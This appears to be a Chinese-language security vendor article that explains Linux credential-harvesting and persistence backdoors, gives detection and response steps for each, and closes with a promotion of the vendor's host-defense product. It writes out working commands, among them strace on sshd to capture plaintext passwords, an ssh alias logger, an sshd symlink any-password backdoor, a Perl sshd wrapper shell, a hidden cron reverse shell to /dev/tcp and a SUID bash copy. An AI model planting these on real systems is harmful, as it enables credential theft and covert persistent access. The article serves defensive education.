引言
當RedTeam拿下了一臺服務器并獲取到系統(tǒng)較高權限,但不知道服務器的憑證時,RedTeam會采用怎樣的技術獲取系統(tǒng)憑證呢?又或者,在RedTeam拿下一臺服務器,為達到長久控制的目的而專門定制持久化后門(免殺肯定是必須的)的前提下,他們會如何結(jié)合系統(tǒng)自身的某些特性,達到持久化控制的效果?
BlueTeam在應急響應的過程中,又該如何盡早地排查出這些后門?為盡到“知己知彼,百戰(zhàn)不殆”,本文將對linux下常見的權限維持技術和憑據(jù)收集技術進行解析,希望能對從事攻防對抗研究的小伙伴有所幫助。
二
Strace獲取登陸憑證
1
strace獲取登陸憑證原理
憑證將會通過strace追蹤到系統(tǒng)sshd進程,并將追蹤到的信息保存到log文件,這些信息中包含了系統(tǒng)明文密碼以及ssh私鑰。
2
strace獲取登陸憑證實現(xiàn)
strace獲取登陸憑證利用條件包括:
內(nèi)核版本>Linux Kernel 3.4支持完全限制或禁用ptrace的功能。
具有kernel.yama.ptrace_scope限制和禁用。
具體實現(xiàn)
獲取sshd進程明文密碼。可使用括號執(zhí)行程序,然后退出當前shell,并用ssh登錄其他主機。
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
圖1
strace捕獲到的憑證將會保存在/tmp/.sshd.log文件下:
圖2
3
Strace獲取登陸憑證檢測響應
1)使用ps工具查看系統(tǒng)中的strace進程。
圖3
2)使用kill工具阻斷進程運行。
三
Alias獲取登陸憑證
1
Alias獲取登陸憑證原理
給指定程序設置命令別名,使運行指定程序時自動strace讀寫系統(tǒng)調(diào)用,收集登錄憑證。
2
Alias獲取登陸憑證實現(xiàn)
1)在終端中執(zhí)行。
# 添加命令別名vi ~/.bashrc或者/etc/bashrcalias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'# 使命令別名立即生效source ~/.bashrc
圖5
2)通過查看日志文件,能看到有系統(tǒng)憑證的信息。
圖6
3
Alias獲取登陸憑證檢測響應
1)使用alias工具即可發(fā)現(xiàn)異常
圖7
2)打開.bashrc文件,查看并清除后門命令。
圖8
四
SSH軟連接后門
1
SSH軟連接后門原理
軟連接后門的原理是利用了PAM配置文件的作用,將sshd文件軟連接名稱設置為su,這樣應用在啟動過程中會去PAM配置文件夾中尋找是否存在對應名稱的配置信息(su),su在pam_rootok只檢測uid 0即認證成功,導致了可以使用任意密碼登錄。
2
SSH軟連接后門實現(xiàn)
1)在靶機上安裝ssh后門,執(zhí)行。
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
2)攻擊機中用ssh終端連接工具,密碼隨意填寫即可實現(xiàn)任意密碼登錄。
圖9
筆者在測試環(huán)境下還發(fā)現(xiàn)有”chsh”、”chfn”等shell程序包含pam_rootok.so,均能夠用于SSH軟連接后門的植入。
圖10
3
SSH軟連接后門檢測響應
1)查看系統(tǒng)當前端口狀態(tài)。
這類后門會開啟監(jiān)聽端口,我們可以先查看/etc/pam.d/目錄下有哪些文件包含該配置,然后通過管道符找到異常端口及進程,再通過進程找到異常文件、殺掉進程、關閉PAM認證即可。
find /etc/pam.d/ |xargs grep "pam_rootok.so".NETstat -antlp |grep -E "su|chsh|chfn|runuser"
圖11
2)查看系統(tǒng)登錄日志
圖12
五
SSH公鑰免密登陸后門
1
公鑰免密后門原理
ssh無密碼登錄要使用公鑰與私鑰。linux下可以用ssh-keygen生成公鑰/私鑰,即利用密鑰認證登錄。
2
公鑰免密登錄后門實現(xiàn)
1)在攻擊機上生成公鑰文件,“回車”默認配置。
ssh-keygen -t rsa
2)將攻擊機上的id_rsa.pub文件拷貝至靶機。
1.ftp、scp等工具上傳至靶機或者U盤植入;2.將公鑰文件放置vps服務器,然后靶機用wget/curl下載;3.各類可用于遠程傳輸?shù)墓ぞ呔桑ㄈ纾簄c)。
3)攻擊機ssh連接靶機,無需密碼認證。
圖14
3
公鑰免密登陸后門檢測響應
1)查看系統(tǒng)當前登錄狀態(tài)。
圖15
六
SSH wrApper后門
1
SSH wrapper后門原理
Linux中init首先啟動的是/usr/sbin/sshd,原始的sshd監(jiān)聽端口建立了tcp連接后,會fork一個子進程處理具體工作。如果這個子進程的標準輸入輸出已被重定向,那么getpeername能獲取到客戶端的TCP端口,將會派生給執(zhí)行sh命令執(zhí)行的權限。簡而言之就是反彈shell,與常見的反彈shell不同的是,SSH wrapper后門通過長連接反彈shell的方式,使得攻擊者在退出終端后仍然能進行連接。
2
SSH wrapper后門實現(xiàn)
1)在靶機(服務端)中執(zhí)行監(jiān)聽,終端中執(zhí)行。
cd /usr/sbin/mv sshd ../bin/echo '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshdecho 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd/etc/init.d/sshd restart
2)在攻擊機(客戶端)中執(zhí)行連接命令,獲得一個命令執(zhí)行權限的shell。
圖16
3
SSH wrapper后門檢測響應
1)查看sshd文件修改狀況。
ls -al /usr/sbin/sshdcat /usr/sbin/sshd
圖17
2)清除SSH wrapper后門。
通過重裝ssh服務清除SSH wrapper后門。
七
Cron后門
1
Cron后門原理
crontab命令用于設置周期性被執(zhí)行的指令,可以把cron設置為開機時自動啟動。攻擊者將惡意代碼或程序隱藏在系統(tǒng)磁盤中,并由計劃任務調(diào)用時啟動它們。
2
Cron后門實現(xiàn)
1)平平無奇的Cron后門。
(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i')|crontab -
能用crontab-l命令查看到具體內(nèi)容。
圖18
2)隱蔽的Cron后門。
(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1;/bin/bash --noprofile -i;rno crontab for `whoami`%100cn")|crontab -
用crontab-l命令則無法查看到具體內(nèi)容。
圖19
這是因為利用到了cat工具的特性。cat默認支持一些如r回車符、n換行符、f換頁符等,也就是這些符號導致的能夠隱藏命令。
3)攻擊機獲得shell連接。
圖20
3
Cron后門檢測響應
1)查看可疑的計劃任務。
crontab -e
2)使用vim命令在cron創(chuàng)建的文件下查找并清除惡意代碼。
圖21
八
SUID Shell后門
1
SUID Shell后門原理
Suid shell是一種可用于以擁有者權限運行的shell。攻擊者將原有的bash進程copy并隱藏,給予可執(zhí)行的權限,達到隱藏后門的目的。
2
SUID Shell后門實現(xiàn)
1)在終端中執(zhí)行如下命令。
# cp /bin/bash /tmp/shell# chmod u+s /tmp/shell用普通權限用戶執(zhí)行shell程序。$ /tmp/shell -p
圖22
3
SUID Shell后門檢測響應
1)在Linux中查找SUID設置的文件。
圖23
2)取消shell程序的s權限。
chmod u-s /tmp/shell
九
Tcp wrapper后門
1
Tcp wrapper后門原理
TCP_Wrappers(一個工作在應用層的安全工具),通過修改配置文件hosts.allow,實現(xiàn)tcpd(Tcp Wrapper的守護進程)的截獲請求。每當有ssh的連接請求時,如若請求滿足配置文件中的規(guī)則,則放行,否則中斷連接,配置文件中可配置執(zhí)行命令。
2
Tcp wrapper后門實現(xiàn)
1)編輯配置文件,并寫入惡意代碼。
圖25
2)在攻擊機上開啟本地端口監(jiān)聽。
圖25
3)連接目標服務器的22端口,觸發(fā)后門,無需輸入密碼,監(jiān)聽端口將會獲得shell連接。
圖26
3
Tcp wrapper后門檢測響應
1)在/etc/hosts.allow文件中查找并刪除惡意代碼。
圖27
十
Systemd服務后門
1
Systemd服務后門原理
Linux下的服務啟動后門,可創(chuàng)建或配置系統(tǒng)服務文件中的ExecStart參數(shù),實現(xiàn)啟動服務時,調(diào)用惡意代碼的執(zhí)行。
2
Systemd服務后門實現(xiàn)
1)創(chuàng)建服務描述文件。
圖28
2)編輯backdoor.service文件,加入下面的內(nèi)容。
圖29
3)給予執(zhí)行權限,并重新讀取服務信息,使得服務生效。
圖30
4)在啟動服務后,攻擊機監(jiān)聽的端口將會返回一個shell。
圖32
3
Systemd服務后門檢測響應
1)在/usr/lib/systemd/system下的服務文件中查找并刪除惡意代碼。
圖33
十一
Vim Python/ target=_blank class=infotextkey>Python2拓展后門
1
Vim python2擴展后門原理
vim安裝時默認安裝了當前服務器的python版本的擴展,利用該擴展,可以用vim的擴展pyfile來執(zhí)行python腳本。
2
Vim python2擴展后門實現(xiàn)
1)在靶機上創(chuàng)建python反彈shell腳本attck.py。
圖34
2)在攻擊機中開啟端口監(jiān)聽。
圖35
3)靶機在執(zhí)行vim-E-c"pyfile attck.py"命令后,攻擊機監(jiān)聽的端口將會返回shell。
圖36
3
Vim python2擴展后門檢測響應
1)查看當前系統(tǒng)是否有可疑的網(wǎng)絡連接;
圖37
2)定位到vim進程,查看執(zhí)行的命令調(diào)用了python擴展;
3)定位到可疑腳本路徑,查找并清除可疑后門腳本;
圖39
十二
安全狗的后門檢測案例介紹
Linux系統(tǒng)中后門駐留的方式花樣繁雜,任何一個配置、一個語句、一行代碼,都會給攻擊者可乘之機。如今內(nèi)網(wǎng)攻擊手段越來越趨于隱蔽化,攻擊者在進入內(nèi)網(wǎng)系統(tǒng)環(huán)境后操作更加謹慎,為達到隱匿自己行蹤的目的,攻擊者會開啟常用端口作為網(wǎng)絡連接回傳,從而誤導防守者的研判與分析。
以下“Tcp wrapper后門”為例,攻擊者利用443端口回傳數(shù)據(jù)。眾所周知,443端口是https協(xié)議傳輸端口,而攻擊者將其tcp回傳用https障眼。而在進程行為中,并無可疑的命令執(zhí)行。
圖40
多數(shù)防守者在發(fā)現(xiàn)端口是443就默認會放過,因為系統(tǒng)中成百上千條進程網(wǎng)絡連接就夠防守者頭痛了。而少部分防守者在發(fā)現(xiàn)443端口協(xié)議應該是https而非tcp的端倪時,卻很難繼續(xù)往系統(tǒng)內(nèi)部溯源發(fā)現(xiàn)是hosts.allow配置文件駐留有后門代碼,頂多就用微步等網(wǎng)絡測繪工具查看目的地址是否標記惡意或非惡意,若是非惡意則就不了了之,殊不知已然釀成大禍。
安全狗的云眼主機防御系統(tǒng)能實時對主機異常行為做研判分析。以上述的“Tcp wrapper后門”為例,通過定時采集系統(tǒng)中能被作用于后門駐留的配置文件做規(guī)則匹配,快速定位到對應的配置文件及后門惡意代碼內(nèi)容,快速響應。
目前,云眼針對后門駐留的檢測規(guī)則有數(shù)百條,除了文章中演示的linux常見后門以外,還支持對各類反彈shell后門腳本的檢測。
圖43